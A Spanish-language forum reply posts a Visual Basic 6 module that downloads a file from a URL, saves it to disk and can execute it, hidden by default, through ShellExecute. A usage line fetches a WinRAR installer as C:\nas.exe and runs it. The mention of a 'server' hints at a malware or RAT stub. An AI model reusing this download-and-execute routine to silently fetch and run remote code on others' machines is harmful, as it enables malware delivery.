xa0s escribió:si aunque te haria mas pesado el server jeje.
mejor buscar eso que dices tu o el post de blackzerox que le he mencionado yo :p
Aqui te hice una modificación de otro modulo que tenia por aqui y te sirve para descargar y ejecutar un archivo....
Código: Seleccionar todo
Option Explicit
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
Private Declare Function PathFileExists Lib "shlwapi.dll" Alias "PathFileExistsA" (ByVal pszPath As String) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const INTERNET_OPEN_TYPE_DIRECT As Long = 1
Private Const INTERNET_FLAG_RELOAD As Long = &H80000000
Private Function GET_(ByVal hURL As String, Optional ByVal hUserAgent As String = "[$KYW€B PRODUCTION$]", Optional ByVal vSavePath As String, Optional ByVal vExecute As Boolean, Optional ByVal vExecutionMode As Long = 0)
Dim hInternet As Long
Dim hOpenurl As Long
Dim hBuffer As String * 1024
Dim hComplete As String
Dim hReturn As Long
hInternet = InternetOpen(hUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
If hInternet <> 0 Then
hOpenurl = InternetOpenUrl(hInternet, hURL, vbNullString, ByVal 0&, INTERNET_FLAG_RELOAD, ByVal 0&)
If hOpenurl <> 0 Then
Do
InternetReadFile hOpenurl, hBuffer, 1024, hReturn
hComplete = hComplete & Left$(hBuffer, hReturn)
If hReturn = 0 Then Exit Do
DoEvents
Loop
If vSavePath <> vbNullString Then
Open vSavePath For Binary As #1
Put #1, , hComplete
Close #1
If vExecute = True Then
ShellExecute 0&, "Open", vSavePath, vbNullString, vbNullString, vExecutionMode
End If
End If
End If
End If
InternetCloseHandle hInternet
InternetCloseHandle hOpenurl
End Function
El modo de uso es el siguiente...
Código: Seleccionar todo
Call GET_("http://www.winrar.es/descargas/52", "", "C:\nas.exe", True, 1)